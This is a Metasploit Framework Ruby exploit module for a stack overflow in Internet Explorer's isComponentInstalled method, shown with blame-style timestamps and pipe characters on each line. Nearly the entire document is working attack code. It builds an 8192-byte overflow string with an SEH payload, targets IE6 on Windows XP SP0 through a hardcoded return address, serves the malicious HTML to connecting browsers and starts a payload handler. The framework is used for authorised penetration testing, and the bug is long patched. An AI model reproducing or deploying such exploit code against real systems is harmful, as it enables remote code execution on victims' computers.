2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
2006-12-17 08:03:43 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-12-17 08:03:43 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Seh
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2006-12-17 08:03:43 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Internet Explorer isComponentInstalled Overflow',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a stack overflow in Internet Explorer. This bug was
|
|
|
|
|
patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' =>
|
|
|
|
|
[
|
|
|
|
|
'hdm',
|
|
|
|
|
],
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-12-17 08:03:43 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'BID', '16870' ],
|
|
|
|
|
],
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 512,
|
|
|
|
|
'BadChars' => "\x00\x5c\x0a\x0d\x22",
|
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' => 0x71ab8e4a } ]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'DisclosureDate' => 'Feb 24 2006'))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Create the overflow string
|
2007-03-01 08:21:36 +00:00
|
|
|
pattern = rand_text_alpha(8192)
|
2006-12-17 08:03:43 +00:00
|
|
|
|
|
|
|
|
# Smash the return address with a bogus pointer
|
|
|
|
|
pattern[744, 4] = [0xffffffff].pack('V')
|
|
|
|
|
|
|
|
|
|
# Handle the exception :-)
|
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
|
pattern[6439, seh.length] = seh
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# Build out the HTML response page
|
2007-03-01 08:21:36 +00:00
|
|
|
var_client = rand_text_alpha(rand(30)+2)
|
|
|
|
|
var_html = rand_text_alpha(rand(30)+2)
|
2006-12-17 08:03:43 +00:00
|
|
|
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html >
|
|
|
|
|
<head >
|
|
|
|
|
<script >
|
|
|
|
|
function window.onload() {
|
|
|
|
|
#{var_client}.style.behavior = "url(#default#clientCaps)" ;
|
|
|
|
|
#{var_client}.isComponentInstalled( "__pattern__" , "componentid" ) ;
|
|
|
|
|
}
|
|
|
|
|
</script >
|
|
|
|
|
</head >
|
|
|
|
|
<body id = "#{var_client}" > #{var_html}
|
|
|
|
|
</body >
|
|
|
|
|
</html >
|
|
|
|
|
|
|
|
|
|
|
|
2008-04-25 05:29:29 +00:00
|
|
|
content = Rex::Text.randomize_space(content)
|
|
|
|
|
|
2006-12-17 08:03:43 +00:00
|
|
|
# Insert the shellcode
|
|
|
|
|
content.gsub!('__pattern__', pattern)
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2007-04-04 04:34:17 +00:00
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
2006-12-17 08:03:43 +00:00
|
|
|
end
|
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|
